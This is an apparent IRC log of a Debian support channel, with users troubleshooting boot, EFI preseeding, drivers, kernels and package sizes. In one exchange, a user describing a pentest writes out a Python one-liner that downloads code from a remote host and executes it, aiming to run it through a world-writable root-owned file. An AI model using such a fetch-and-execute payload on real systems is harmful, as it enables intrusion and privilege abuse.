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| 05:17.27 | awal1 | nkuttler, right, it's a matter of taskbar. Icewm have a file called 'winoptions' used to configure settings for individual application windows. Example: "Firefox.tray: Exclusive" adds an icon for firefox in system tray (and never creates a task panel button) |
| 05:18.33 | awal1 | missmbob, ^ works better than using alltray :P |
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| 05:18.55 | awal1 | for icewm users, I meant (I'm not) |
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| 05:19.47 | Freemon | hi rooom |
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| 05:20.21 | Freemon | any1 alive? |
| 05:21.17 | awal1 | only you; life ended 1 minute ago |
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| 05:28.35 | Freemon | aww |
| 05:28.38 | Freemon | i have a problem |
| 05:29.21 | Freemon | my desktop icons are missing .. whenever i turn on the show desktop icons the icons seems to appear in 2 pairs each over lapping each other |
| 05:29.35 | missmbob | you dont have a problem. you have unresolved situations. once you fix those situations you'll be all good |
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| 05:30.00 | Freemon | problem is an unresolved situations |
| 05:30.46 | Freemon | now i can click on 1 pair of icons and other pain of icons i cant they are like after image of the former icons |
| 05:30.55 | Freemon | what did i messed up |
| 05:31.22 | Freemon | every time i reboot its happnes and i have no idea wat caused it |
| 05:31.25 | missmbob | this sounds like stretch. is it? |
| 05:31.31 | Freemon | yes |
| 05:31.36 | missmbob | !debian-next |
| 05:31.37 | dpkg | #debian-next is the channel for testing/unstable support on the OFTC network (irc.oftc.net), *not* on Freenode. If you get "Cannot join #debian-next (Channel is invite only)." it means you did not read it's on irc.oftc.net. |
| 05:31.44 | missmbob | they'll know better |
| 05:31.51 | Freemon | i tried their its like a empty house with no replies |
| 05:32.30 | Freemon | is it a bug ? or is it me |
| 05:32.50 | missmbob | i wouldnt know. i dont use stretch so i dont know what's currently boken. |
| 05:33.28 | missmbob | that doesnt sound like stable desktop to be sure |
| 05:33.41 | Freemon | hmmm ok |
| 05:33.47 | themill | wonders when Freemon asked in #debian-next |
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| 05:34.40 | n4dir | If #debian-next doesn't give replies, there are still other options trying to get help, forums, mailing-lists, etc |
| 05:34.50 | Freemon | yesterday |
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| 05:51.30 | josndir | aha, with lots of trial and error after a few days I just managed to do it |
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| 05:51.49 | josndir | just deleted my whole networks file because networkmanager did the job |
| 05:52.21 | josndir | and I changed my own ipv4 to the one I captured over tshark , except for the last digit |
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| 06:01.46 | nwe | how should the entry for efi looks like in a preseed file? |
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| 06:19.39 | somiaj | nwe: I don't think you need anything special for efi, what determines efi is how the installer is boot, not a config option in the installer |
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| 06:21.13 | missmbob | maybe the entry he's talking about would be the pem if secureboot was supported? |
| 06:21.47 | somiaj | unsure, I didn't think debian supported secure boot. |
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| 06:25.02 | nwe | I have an preseed for non-efi thats working.. but now when I trying on a server that running efi, I cant installed the server because it complain about disk.. and I trying with this http://pastebin.com/9ch6w2hs |
| 06:25.41 | nwe | with out success, |
| 06:26.53 | nwe | and If I using this http://pastebin.com/4V1g8Ydx the machine got installed but it doesnt partition the disk as the preseed says.. http://pastebin.com/4V1g8Ydx |
| 06:26.55 | missmbob | you should really be asking #debian-boot |
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| 06:28.09 | missmbob | yes |
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| 06:28.39 | somiaj | nwe: I am not that familar with preseends, but I see method{ biosgrub } for the first partition? That seems a bit odd for a gpt partition table and using efi, but I don't know enough about preseeds to know what options you need. |
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| 06:30.05 | nwe | when I usin the uefi-stuff in the preseed I got tis error.. Failed to partition the selected disk | |
| 06:30.08 | nwe | <PROTECTED> |
| 06:30.11 | nwe | <PROTECTED> |
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| 06:32.10 | somiaj | nwe: http://serverfault.com/questions/722021/preseeding-debian-install-efi -- that of any help? I don't understand what it is doing exactly, but maybe there is a clue |
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| 06:33.50 | nwe | somiaj: hmm I will take a look on that too |
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| 07:07.53 | MarcoNL | Hi all, I know it's against the rules to place a question on stackexchange and here, but is there any way to get an answer for my preseed related question? I've put it on SE Unix right now, but we're 2 days later now and no response since. |
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| 07:10.46 | somiaj | MarcoNL: not many here are that knowledgable on preseeds, you can ask here, but not sure if you'll get a response |
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| 07:14.39 | MarcoNL | somia: is there a right place for preseed questions then? |
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| 07:15.50 | n4dir | perhaps a mailing list, the question would be which one |
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| 07:17.12 | MarcoNL | I've been searching for 2 weeks now to get an answer to my problem |
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| 07:27.16 | Xz | hi there, I'm in need of USB persistent-live distribution booting in secure mode |
| 07:27.29 | missmbob | debian is not it |
| 07:27.30 | somiaj | secure mode? |
| 07:27.31 | Xz | I know debian doesn't support that yet out of the box |
| 07:27.36 | Xz | UEFI secure boot |
| 07:27.37 | Xz | but |
| 07:27.47 | somiaj | yea you won't get that with debian. |
| 07:28.00 | Xz | Ubuntu works on my laptop (employer owned with bitlocker on SSD) |
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| 07:28.07 | missmbob | debian is not ubuntu |
| 07:28.25 | Xz | now, what about I just swap UBUNTU filesystem with Debian one? |
| 07:28.50 | Xz | if I can get Ubuntu all the way to grub and past that, I can as well tinker with that and get that grub to kick-off debian, right? |
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| 07:29.39 | ZtolenClothez | I'm having an odd problem after upgrading to stretch. I have a couple of luks partitions, when they are enabled the system refuses to boot, the luks password prompt at boot never comes up. I found that setting the kernel parameter 'single' allows it to appear and boot as normal after the process. I also notice the plymouth theme can't be changed. I tried changing it repeatedly, running update-initramfs, it doesn't change. |
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| 07:31.42 | Xz | so what do you think about mixing UBUNTU bootloader with debian? |
| 07:31.47 | Xz | for my system? |
| 07:31.56 | Vizva | upgrading to stretch? |
| 07:32.02 | Xz | my laptop is owned by employer and it has UEFI secure boot + SSD that I don't want to mess with |
| 07:32.19 | somiaj | Xz: we don't really support mixing. You are welcome to play around. Can you not disable secure boot? Many laptops allow that. |
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| 07:32.57 | ZtolenClothez | Vizva, if you mean me, yes |
| 07:33.26 | Vizva | you should go back to your backup, to jessie then copy the system and upgrade this testsystem to stretch again |
| 07:33.29 | somiaj | Xz: also debian live images do not support efi, so if you are after a live system, I'd stick with ubuntu. |
| 07:33.55 | ZtolenClothez | Vizva, what would prevent the same thing from happening? |
| 07:34.06 | Vizva | its testing |
| 07:34.14 | Vizva | you test it to nowhere? |
| 07:34.20 | ZtolenClothez | what? |
| 07:34.37 | Vizva | if its not work and you upgrade to testing |
| 07:34.45 | Vizva | and the test fails |
| 07:34.49 | ZtolenClothez | it boots, the issue seems to be something installed, which redoing the process would not change |
| 07:35.03 | ZtolenClothez | it boots with the workaround as I said |
| 07:35.17 | ZtolenClothez | it only fails when 'single' is not a kernel parameter, the luks prompt doesn't show up |
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| 07:37.31 | Vizva | you can still open this partition with another system? |
| 07:38.35 | ZtolenClothez | yes, and even boot as normal with the workaround |
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| 07:39.35 | Vizva | could be a jobsite place |
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| 07:41.06 | Vizva | ok |
| 07:41.26 | Vizva | you can give the password without see a password prompt |
| 07:41.43 | Vizva | you did try? |
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| 07:42.55 | Vizva | <ZtolenClothez> i didsee it happen in vm, password prompt dont show up but can give a password |
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| 07:45.28 | ZtolenClothez | I tried, can't give password. It stalls on the systemd event trying to load dm partitions |
| 07:46.07 | Vizva | you could pack this partitions in lvm and try again |
| 07:46.21 | ZtolenClothez | i can do the whole thing over yes |
| 07:46.26 | ZtolenClothez | I know that |
| 07:46.32 | Vizva | maybe it works then |
| 07:46.43 | ZtolenClothez | it should but it's not my desire atm |
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| 07:47.25 | ZtolenClothez | removed more packages will reboot |
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| 07:50.12 | Xz | somiaj: I can disable secure boot, but then I would have to do it everytime I switch between USB-Linux and SSD-win10 |
| 07:50.19 | Xz | somiaj: too much work |
| 07:50.41 | Xz | somiaj: especially that my bios needs to reboot and enter some number to turn off secure mode |
| 07:50.49 | Xz | somiaj: = it takes 1+ min |
| 07:50.57 | Xz | somiaj: and is supper unfriendly to do |
| 07:51.03 | Xz | somiaj: I tried live-ubuntu |
| 07:51.21 | Xz | somiaj: it kind of works, but then one day it just wouldn't let me ssh to my server |
| 07:51.28 | somiaj | Then I would find a distro that supports secure boot and maybe has a good live system, debian isn't one of those. |
| 07:51.32 | Xz | somiaj: ssh client after entering window would just hang |
| 07:51.50 | Xz | somiaj: and I was even able to ssh to exact same system from my win10, everything on the server side was fine |
| 07:51.56 | Xz | somiaj: that's what pisses me off about Ubuntu |
| 07:51.59 | Xz | somiaj: random crap just doesn't work |
| 07:52.08 | Xz | somiaj: I am very rarely disappointed by debian |
| 07:52.45 | Xz | somiaj: well, I heard RHEL supports secure-boot |
| 07:52.49 | Xz | somiaj: but RHEL is not free |
| 07:53.03 | Xz | somiaj: and RHEL is more of a server type of distribution |
| 07:53.28 | Xz | somiaj: other than that Fedora might work, but Fedora is similar to Ubuntu - random crap doesn't work sometimes |
| 07:53.35 | n1b | DO you have to use bash when using debian? |
| 07:53.37 | Xz | somiaj: debian nearly always work as expected |
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| 07:53.49 | Xz | n1b: I would prefer bash, why is that question ? |
| 07:54.05 | Xz | n1b: do you have non-bash secure-boot enabled live debian distro by any chance? :)\ |
| 07:54.08 | somiaj | anyways, this has little to do with debian, and this is not the place to go on about. ##linux may have some suggestions for a secure boot live system. |
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| 07:54.23 | Xz | somiaj: well, I really want debian |
| 07:54.26 | somiaj | n1b: no, you can install other shells. |
| 07:54.36 | Xz | somiaj: so I thought maybe somebody here has any experience with live systems and secure boot |
| 07:54.40 | somiaj | Xz: it doesn't support secure boot and the live system dosen't support efi. Deal with it. |
| 07:54.52 | Xz | somiaj: well, I know people boot debian in secure mode |
| 07:55.04 | Xz | somiaj: the fact that debian officialy doesn't support that doesn't mean it cannot be done |
| 07:55.22 | somiaj | Xz: I'm sure it can be done with some modification, but out of the box and live systems will not support it. Live dosen't even support efi. |
| 07:55.24 | Xz | somiaj: also, AFAIK around enf of January debian is actually planning on supporting secure boot |
| 07:55.32 | Xz | somiaj: I'm fine with tinkering |
| 07:55.42 | Xz | somiaj: I can go on my own and create live-distro from scratch |
| 07:55.54 | Xz | somiaj: just looking for some guidance, not out-of-the-box solution |
| 07:56.01 | somiaj | sure maybe one day, but this is a support chanell mostly for debian stable and what is supports, not tinkering. No need to continue on about this topic |
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| 07:56.22 | Xz | somiaj: where do I go then? debian on-line forum? stackoverflow? |
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| 07:56.57 | somiaj | Xz: unsure the best place to get some interest to help with this. First thing I would attempt is getting the live system to boot in efi, which it dosen't by default. |
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| 07:57.33 | Xz | somiaj: well, I can boot ubuntu fine, so what I would be looking to do from now on is to kick off debian system of ubuntu grub |
| 07:58.05 | Xz | somiaj: ubuntu uses initramfs, boots small linux distro and then mounts full OS and does 'chroot' |
| 07:58.27 | Xz | somiaj: from that small initramfs I could chroot into debian instead of ubuntu |
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| 07:58.56 | Xz | somiaj: technically it makes sense to do it that way |
| 07:58.58 | somiaj | Xz: again this is not the right form to continue this conversation. |
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| 08:01.07 | Xz | somiaj: anyway, thanks for letting me know it's not supported |
| 08:01.10 | missmbob | just keep an eye for bug #821053 ...not that i'll help with the live bit. |
| 08:01.11 | judd | Bug http://bugs.debian.org/821053 in grub-installer (open, patch): «UEFI Secure Boot support in d-i build»; severity: important; opened: 2016-04-15; last modified: 2016-09-30. |
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| 08:02.25 | Xz | missmbob: thanks mate |
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| 08:04.48 | Boompak | make localmodconfig give me this warning 'module ath did not have configs CONFIG_ATH_COMMON'. What does this mean? |
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| 08:15.52 | Vizva | <Boompak> newer kernel now? |
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| 08:19.52 | darxmurf | I'm looging for a working documentation of how to configure samba+ldap+kerberos, any advises ? |
| 08:21.17 | Boompak | Vizva: yes, I am trying to configure my kernel. |
| 08:21.57 | darxmurf | and why now when I try to change a local account password, it's requesting the actual kerberos password ?! |
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| 08:32.22 | n1b | Is it better to dual boot Windows if you want to play games? |
| 08:33.05 | somiaj | n1b: depends on what games and the likes |
| 08:33.18 | somiaj | I play games in steam and wine just fine, but it is kinda selective which ones are avilable |
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| 08:38.56 | GPenguin | n1b: if you have enough disk space and a license for windows then i find the dual boot option the better one |
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| 08:39.41 | n1b | do you need to wipe linux first and then install windows? |
| 08:40.24 | somiaj | you don't need to wipe linux, but if you install windows second you'll have to manually make your linux system bootable again |
| 08:40.25 | GPenguin | i dont think you need to wipe linux, just re-install the boot manager from a livecd |
| 08:40.27 | somiaj | !fixmbr |
| 08:40.27 | dpkg | To reinstall <GRUB> boot to your Debian install disk/live CD, switch to the other console (Alt-F2), mount your root filesystem (mount -t ext4 /dev/whatever /target ; mount --bind /dev /target/dev ; mount -t proc none /target/proc ; mount -t sysfs none /target/sys), chroot into it (chroot /target), run "mount /boot/efi" on EFI and "update-grub && grub-install /dev/whatever". See also <rescue mode>, <dual boot guide>, <supergrub>. |
| 08:40.30 | somiaj | is a rough guide |
| 08:40.46 | GPenguin | cool |
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| 08:43.35 | GPenguin | oh, i used to bind mount all 3, proc, dev and sys |
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| 08:51.20 | RebelCoder | Guys, Debian is the only distro, that works good on my NVidia Optimus notebook with Bumblebee. |
| 08:51.51 | GPenguin | \o/ |
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| 08:52.52 | RebelCoder | But I still have one problem: I can run apps/games with optirun/primusrun command and it works just fine, everything is fast and soomth, BUT Browsers. both, Chromium based and Firefox are slow, seem not to be accelerated at all... |
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| 08:53.31 | RebelCoder | If I open like 10 tabs in one of them, and let's say play Youtube (HTML/Flash) video, my CPU usage is high and fan blows like crazy. |
| 08:53.46 | RebelCoder | Everything else seems to be accelereated just right.... |
| 08:53.49 | RebelCoder | Any ideas ? |
| 08:54.27 | RebelCoder | Browsers become super slow with more then 10 tabs, and use a lot of CPU |
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| 08:54.50 | RebelCoder | I have a i7 Quad-Core (8 threads) + nVidia 780M |
| 08:55.24 | RebelCoder | I can play Metro Last Light on max on this notebook in Debian, but browsers are so slow... |
| 08:55.24 | GPenguin | RebelCoder: do you run the browsers in full screen? is it better when you select a smaller window size? |
| 08:55.39 | RebelCoder | No. Not fill screen/ |
| 08:55.45 | raidghost | To run debian installation in UEFI-mode is that BAD? |
| 08:55.50 | RebelCoder | Small windows and spread around desktops |
| 08:56.04 | RebelCoder | *not full screen |
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| 08:56.49 | valentt | morning all |
| 08:56.51 | Kryczek | Hi! I can't seem to find out why https://packages.debian.org/search?keywords=amd-opencl-icd is not in Testing, and the "Developer Information (PTS)" link only points to the fglrx-driver package... Was amd-opencl-icd maybe renamed? |
| 08:57.05 | Kryczek | There does not seem to be any AMD opencl platform on https://packages.debian.org/search?suite=stretch&arch=any&mode=path&searchon=contents&keywords=.icd though |
| 08:57.27 | Kryczek | good morning valentt |
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| 08:58.07 | RebelCoder | Anyone else has that problem with Browsers being super slow on Debian ? |
| 08:59.26 | RebelCoder | Drivers (bumblebee/primus) are installed correctly. Desktop and other apps runs fast and super smooth. Games like Metro Last Light run perfectly fine with primusrun command, but browsers (Chromium-based, FireFox) are crawling... |
| 08:59.54 | valentt | I have one question that I'm ashamed I don't know how to figure out on my own... but here it goes... is it possible to gives user access to subdirectory if they don't have access to root directory above it? |
| 08:59.55 | RebelCoder | It seems, that HTML/Flash stuff is not accelerated at all in any browser |
| 09:00.49 | n1b | it is in chrome |
| 09:01.59 | DexterF | valentt, create a group, chgrp subdir to grp, add user to group, chmod g+rwx the subdir |
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| 09:02.54 | DexterF | RebelCoder, only real support on linux is chrome, chromium and vivaldi (which uses chromium as a render engine) which use pepper flash which is maintained by google as part of an agreement with adobe |
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| 09:03.10 | Kryczek | valentt: it's possible if you can make the parent directory/directories have the execute bit for the group, or for everyone as a last recourse |
| 09:03.28 | valentt | DexterF, thaks |
| 09:04.04 | RebelCoder | DexterF, I use Chrome-based browser and tried firefox too |
| 09:04.17 | jelly | RebelCoder, DexterF: actually adobe took back flash support some time last year, and now they provide the latest version in both ppapi (chrome) and npapi (firefox) builds |
| 09:04.30 | RebelCoder | both become unusable after like 10 tabs and 1 or two YouTube videos... very strange |
| 09:04.34 | DexterF | raidghost, UEFI itself is bad. running debian in it requires the kernel to be signed with a key known to uefi, not sure about the situation with self compiled kernels or 3rd party ones in 2017 |
| 09:04.58 | Kryczek | valentt: for example I could `chmod 711 /home/kryczek/nolisting/` and `chmod 755 /home/kryczek/nolisting/forvalentt/`, then you cannot see the contents of the "nolisting" parent but you can traverse it and then see the contents of "forvalentt" |
| 09:05.32 | RebelCoder | I have a feeling, that my Bumblebee/primus (dual-gpu) notebook somehow confuses browsers and they are not accelerated at all... |
| 09:05.34 | RebelCoder | Hmm... |
| 09:05.37 | Kryczek | valentt: if you and I were in the same group then I can restrict it even further with modes 710 and 750 respectively |
| 09:05.38 | DexterF | RebelCoder, optimus... hybrid, intel and nvidia? and you switch them? which does the browser run in? |
| 09:06.03 | DexterF | jelly, did not know that, thanks. still flash must die :) |
| 09:06.30 | RebelCoder | I don´t switch. Everything (desktop, apps) runs on Intel by default...and if I want to run a specific app/game on NVidia, i do: primusrun ./game |
| 09:07.11 | RebelCoder | If I do that to a browser and force it on Nvida... my cooling fan just explodes even if browser just sits there... |
| 09:07.28 | DexterF | RebelCoder, fancy filesystem? how much RAM? swap setup? hdd or ssd? |
| 09:07.34 | RebelCoder | So it seems, that both browsers are not using any of the cards and are CPU bound |
| 09:07.59 | RebelCoder | i7 (Quad-Core, 8 threads), SSD, 16GB Ram |
| 09:08.09 | RebelCoder | It is a laptop |
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| 09:08.40 | RebelCoder | I run TONS of apps on my 2 screens, 8 desktops. Everything runs super smooth, but browsers... |
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| 09:08.43 | DexterF | RebelCoder, browser on primusrun any better? |
| 09:08.43 | RebelCoder | no SWAP space... |
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| 09:09.17 | RebelCoder | Have not tried much,. but it does kick in my cooling fan to a max just runnign the browser with primusrun |
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| 09:09.42 | RebelCoder | Games with primus - ok, it renders stuff, but browser, just sitting there... hmmm |
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| 09:09.55 | RebelCoder | i will try somethign else... |
| 09:09.58 | RebelCoder | today. |
| 09:10.10 | RebelCoder | jsut wondered if anyone else had this problem and fixed it somehow |
| 09:10.12 | DexterF | RebelCoder, for testing, create a swap file of say 1gb or 2 and activate that as swap. slim chance that they don't really need it but constantly are calling out to it "just in case". not quite sure all programs out there are yet ready to be ok like that without swap, especially ram hungry ones |
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| 09:10.52 | RebelCoder | I have 40% ram free at all times. so never used Swap space |
| 09:10.58 | RebelCoder | will give it a try! |
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| 09:11.00 | RebelCoder | thanks |
| 09:11.13 | DexterF | RebelCoder, memory management works in mysterious ways :) |
| 09:11.22 | RebelCoder | Yeah... i guess.. |
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| 09:46.15 | python123 | hi, Im new to python. I have a scenario from a pentest whereby i have a file with 777 permission that is owned by root and has the group of root. I want to therefore abuse this poor configuration and execute a python reverset tcp payload to my machine. The command i want to execute is python -c "import urllib2; r = urllib2.urlopen('http://192.168.254.10:8080/'); exec(r.read());" This works from the |
| 09:46.21 | python123 | command line without any problem i just need to work out how to call it. |
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| 10:27.34 | jelly | python123: write the script into the file and execute it? |
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| 10:27.45 | jelly | not sure how this is a debian question |
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| 10:29.08 | carp | Hi, I am using fresh install of debian jessie. My mouse keeps freezing. It has just done so again. I can still type though. Luckily I had irc already open on a different room. If anyone wants to give me a hand with getting the terminal open and using dmesg to try and work out whats going on that would be great. |
| 10:29.26 | carp | im not sure what all the keyboard shortcuts are etc. |
| 10:29.45 | carp | if i suddenly leave, thats because the whole thing froze. |
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| 10:31.41 | carp | I take out the usb mouse and plug it into the front of the tower instead, and its not immediately moving still. |
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| 10:32.11 | c-c | hi carp |
| 10:32.18 | c-c | can you $ lsusb |
| 10:32.28 | c-c | or $ lshw |
| 10:32.46 | c-c | also see if errors appear in $ dmesg after plugging/freezing |
| 10:32.51 | carp | i plug in a different mouse and that doesnt work either. |
| 10:33.17 | carp | c-c: Hello. I will try this. ive forgotten the command to get the terminal up with keyboard shortcut |
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| 10:33.47 | c-c | carp alt+F2 and type the command for your terminal |
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| 10:35.39 | missmbob | you dont care if the keyboard goes away testing something, right? |
| 10:35.49 | carp | c-c: im using gnome3. alt+f2 does bring up a command line, but when i type lsusb (or sudo lsusb) it just disappears. the gnome3 command line is different to the proper terminal window (the whole screen kind of fades to black at the edges and its just a single command line (not a separate window). |
| 10:36.15 | c-c | carp alt+f2, type xterm, then lsusb |
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| 10:36.27 | c-c | basically, you need a terminal |
| 10:36.42 | carp | c-c: ok that worked. |
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| 10:39.18 | carp | 4 devices found, 2 of them are mice. I have a usb corded mouse that i use. I also have a usb dongle for an old mouse plugged in. it has detected both. i will take out the dongle now. |
| 10:39.29 | asdfasd | Guys, I have a physical network card with two ports on it. My system automatically sets portno=0 as default and I can't seem to change it. I can echo changes to the sysfs-file for the portnubmer but these isn't persistent across OS reboots |
| 10:40.18 | missmbob | dont unplug the mouse :P |
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| 10:40.44 | carp | lshw gives readout bash command cannot be found |
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| 10:41.06 | asdfasd | I've started to look towards the file sysctl.conf for makinjg apersistent change, but when i list the different parameters available for my system with sysctl -a, I cant find a paramter named portno |
| 10:41.10 | c-c | capr well, it probably needs to be apt-get installed |
| 10:41.11 | asdfasd | Anyone can help me in the right direction with this? |
| 10:41.11 | missmbob | yeah there's more going on here. i'm guessing the cpu is overheating |
| 10:41.32 | nirvanko | How can I see the space a particular package takes? I would like to remove all packages that I don't need. |
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| 10:42.42 | carp | c-c: ok i installed it and run it. gives a big read out. |
| 10:42.42 | missmbob | nirvanko: you might like this: aptitude search ~i -O installsize -F"%p %I" |
| 10:43.06 | c-c | carp so lshw and lsusb tell you about which devices are detected |
| 10:43.23 | c-c | carp: with dmesg errors it might help to find the problem |
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| 10:43.39 | carp | c-c: yep ok ill try dmesg now. |
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| 10:44.04 | carp | can i scroll up in the terminal window to read the top part of the readout? |
| 10:44.11 | nwe | hello, I have problem with preseed and uefi to work.. It´s running my preseed file, but it make the disk totally wrong.. what Im doing wrong |
| 10:44.15 | nwe | with the partition? http://pastebin.com/6pshaVfr |
| 10:44.43 | c-c | carp maybe you could alt+f2 and run $ gnome-terminal |
| 10:44.51 | nirvanko | missmbob: thanks, I'll try |
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| 10:45.35 | carp | c-c: yes, perfect |
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| 10:46.32 | carp | c-c: wow the dmesg readout is huge! |
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| 10:47.17 | c-c | carp: you can also read it with an editor from the dmesg file |
| 10:47.35 | carp | ok, this is working for now. |
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| 10:48.37 | c-c | carp: perhaps open /var/log/dmesg before |
| 10:48.58 | c-c | note the last position, then cause the freeze, and see what is printed after |
| 10:49.07 | c-c | goes back to work |
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| 10:49.23 | carp | c-c: Thankyou very much for the help |
| 10:49.34 | c-c | thanks 8) |
| 10:50.18 | missmbob | if you can ssh in it'd be fun to see if this would bring input back: sudo rmmod usbhid; sleep 2;sudo modprobe usbhid; |
| 10:51.27 | c-c | carp !NOTE I mistyped the dmesg location |
| 10:51.40 | c-c | carp !Note the correct path is /var/log/messages |
| 10:52.11 | carp | there are several things that are bolded. for example: perf interrupt took too long. lowering kernel.perf_event_max_sample_rate to 25000 |
| 10:52.14 | carp | c-c: ok thanks |
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| 10:52.27 | missmbob | carp: uname -a ? |
| 10:53.17 | carp | missmbob: Hello. ah are these extra things for me to try. thankyou. ill just finish reading dmesg quickly. |
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| 10:54.30 | carp | get event status notification: 4a 01 00 00 10 00 00 00 08 00 |
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| 10:56.42 | carp | qc timeout (cmd 0xa0). TEST_UNIT_READY failed (err_mask=0x5). limiting SATA link speed to 1.5 Gbps. limiting speed to UDMA/100:PI03. |
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| 10:58.53 | carp | earlier on it says: PCI Interrupt Link [APC1] enabled at IRQ 16. and: PCI Interrupt Link [AAZA] enabled at IRQ 22. |
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| 11:00.15 | carp | just before that: coretemp coretemp.0: Using relative temperature scale! |
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| 11:01.13 | carp | there are other PCI Interrupt Link messages that are bolded. |
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| 11:02.37 | missmbob | please uname -a |
| 11:02.46 | carp | PNP: PS/2 appears to have AUX port disabled, if this is incorrect please boot with i8042.nopnp |
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| 11:03.11 | carp | missmbob: Hi, ok lets try this |
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| 11:05.02 | carp | Linux debian 3.16.0-4-686-pae #1 SMP Debian 3.16.39-1 (2016-12-30) i686 GNU/Linux |
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| 11:05.32 | carp | now sudo apt-get ssh ? |
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| 11:06.47 | missmbob | carp: do you have jessie-backports enabled? |
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| 11:08.07 | carp | missmbob: id need to check that, what command can i type to check please? |
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| 11:08.47 | missmbob | in /etc/apt/sources.list you'd have a line listing jessie-backports. i doubt it. here's how to set it up: |
| 11:08.56 | missmbob | !jessie-backports |
| 11:08.56 | dpkg | Selected packages intended for the Debian 9 "Stretch" release but recompiled for use with "Jessie" (8.x) can be found in the "jessie-backports" repository. Note that jessie-backports are on the regular mirror network, not on backports.debian.org. A suitable line for your sources.list is «deb http://deb.debian.org/debian/ jessie-backports main». Also ask me about <bdo>. |
| 11:09.27 | missmbob | once you edit sources.list; sudo apt update; sudo apt install -t jessie-backports linux-image-686-pae linux-headers-686-pae (notice the -t jessie-backports). reboot. |
| 11:09.46 | missmbob | that'll upgrade your kernel which is obviously having problems from the ancient 3.16 |
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| 11:09.58 | missmbob | to i think 4.8 right now |
| 11:10.58 | missmbob | once you rebooted double check with uname -a |
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| 11:12.13 | carp | missmbob: thankyou very much for this idea. I checked and I dont have backport in the sources.list. I dont know what backports are so I will have to research that. I dont understand why my kernel is ancient though, ive installed the most recent stable jessie. surely that should be ok. |
| 11:12.26 | carp | what is the -t for? |
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| 11:13.46 | missmbob | carp: i had the dpkg bot spit out instructions just above. missed it? stable jessie is ancient kernel. that's normal. debian is old really. |
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| 11:14.20 | missmbob | !jessie-backports |
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| 11:14.20 | dpkg | Selected packages intended for the Debian 9 "Stretch" release but recompiled for use with "Jessie" (8.x) can be found in the "jessie-backports" repository. Note that jessie-backports are on the regular mirror network, not on backports.debian.org. A suitable line for your sources.list is «deb http://deb.debian.org/debian/ jessie-backports main». Also ask me about <bdo>. |
| 11:14.24 | missmbob | there it is again ^ |
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| 11:15.34 | carp | missmbob: thankyou very much for all your help. (and patience with a complete idiot noob) |
| 11:15.55 | missmbob | yeah well this idiot is going to have to leave in a minute so you might be left :P |
| 11:16.05 | missmbob | work time |
| 11:16.26 | helpplease | what's the alternative to HOSTS file when I need a format like "80.80.81.82 80.80.81.83", instead of: "80.80.81.82 myhostname"? either I'm doing something wrong or it won't work with 2 numeric hosts |
| 11:17.08 | carp | i dont know what backports are or packages recompiled for use with jessie, but i will research it. I will reboot in a sec by pressing the button on the front of the tower and try out your idea of installing backports. |
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| 11:17.54 | missmbob | carp: if you want more info than what the bot gave you here are the full instructions https://backports.debian.org/Instructions/ |
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| 11:21.51 | carp | Yep, i cant click on the link (because the mouse) but ive written it down for after i reboot. |
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| 11:30.11 | carp | Right, thankyou very much missmbob, ive written everything down, here we go (rebooting now) cheers. |
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| 11:45.17 | asdfasd | I have a networkinterface with 2 ports and the p0 gets defaulted at boottime. I'm trying to modify the portsetting through editing the hardware parameters in /sys/bus/ccwgroup device file. It works when I change it in a running system but when as soon as i reboot the system it default to p0, again. I've tried looking for parameters to pass through |
| 11:45.18 | asdfasd | sysctl.cfg but no parameter seems to be passable to the kernel in the remark that it affects the port variable on my network interface. Anyone can help me in the right direction? |
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| 12:04.59 | contrapunctus | How can I list installed packages with their installed size? |
| 12:05.48 | missmbob | aptitude search ~i -O installsize -F"%p %I" |
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| 12:08.26 | contrapunctus | missmbob: thanks! anything with apt/dpkg? |
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| 12:08.56 | missmbob | i dont think so |
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| 12:14.55 | nwe | what´s wrong with this one ? http://pastebin.com/SDWY2Fja |
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| 12:33.24 | flokuehn | hi. Is it true that there is no default dns caching on debian / linux unless you install some software like nscd or something else? |
| 12:34.23 | missmbob | it's true |
| 12:34.25 | Ticho_ | yes |
| 12:34.36 | flokuehn | thanks you. |
| 12:34.42 | flokuehn | -s |
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| 12:42.04 | asdfasd | I have a networkinterface with 2 ports and the p0 gets defaulted at boottime. I'm trying to modify the portsetting through editing the hardware parameters in /sys/bus/ccwgroup device file. It works when I change it in a running system but when as soon as i reboot the system it default to p0, again. I've tried looking for parameters to pass through |
| 12:42.05 | asdfasd | sysctl.cfg but no parameter seems to be passable to the kernel in the remark that it affects the port variable on my network interface. Anyone can help me in the right direction? |
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| 13:07.03 | contrapunctus | missmbob: I reckoned this should work - but it doesn't :\ dpkg-query -W -f "${Package}\t${Installed-Size}\n" |
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| 13:08.04 | themill | contrapunctus: you want single quotes not double |
| 13:08.25 | contrapunctus | oooh, awesome! thanks, themill ! |
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| 13:09.08 | themill | (of course the installed size is wildly inaccurate and can even be missing) |
| 13:09.26 | contrapunctus | ...what :\ |
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| 13:09.50 | contrapunctus | themill: No way to actually calculate the total size of the installed package? |
| 13:10.03 | themill | There is no way to do that for anything |
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| 13:10.14 | contrapunctus | (by maybe running du on all the component files) |
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| 13:10.55 | petn-randall | Haha, it get's even more fun on deduplicating filesystems :) |
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| 13:11.11 | themill | it's fun enough on any real filesystem with a block size |
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| 13:12.28 | petn-randall | themill: Well, you could at least say that it no more than $numfiles * blocksize off in accuracy. Assuming nothing shipped in Debian is using sparse files. |
| 13:12.33 | contrapunctus | themill: I don't understand - doesn't one "just" need to du each installed file and add the output? |
| 13:12.58 | themill | contrapunctus: on whose machine running on what filesystem with which settings? |
| 13:13.14 | contrapunctus | huh o_O |
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| 13:15.11 | carp | OK so Ive successfully installed the newer version using jessie-backports. yay. uname -a now reads 4.8.0.0.bpo.2 so it seems to have worked. and the computer hasnt died. Now lets see how long it takes until the mouse freezes again, or if it is fixed. Thanks for the help earlier guys. |
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| 13:16.29 | contrapunctus | themill: I don't get it :\ How does that matter? One can expect du(1) to work on every platform it supports, right? |
| 13:17.14 | themill | one can expect it to give a different answer |
| 13:17.34 | contrapunctus | and how off does it go? |
| 13:17.41 | tw | ^- different block sizes on different filesystems/storage |
| 13:17.42 | themill | depends on the size of the file |
| 13:17.59 | tw | it can't know for all filesystems it might be installed on. |
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| 13:19.02 | petn-randall | contrapunctus: The easy question to answer is "how many bytes large is file x?". The difficult to answer question is "how much storage does file x use?", which can vary wildly between systems. |
| 13:19.51 | contrapunctus | doesn't know anything about filesystems : |
| 13:20.02 | themill | contrapunctus: a 1 byte file takes 4kB on this machine |
| 13:20.33 | contrapunctus | wat |
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| 13:20.40 | contrapunctus | How is that possible o_o' |
| 13:20.49 | themill | however dpkg assumes it takes 1kB |
| 13:21.12 | petn-randall | themill: No tail packing? ;) |
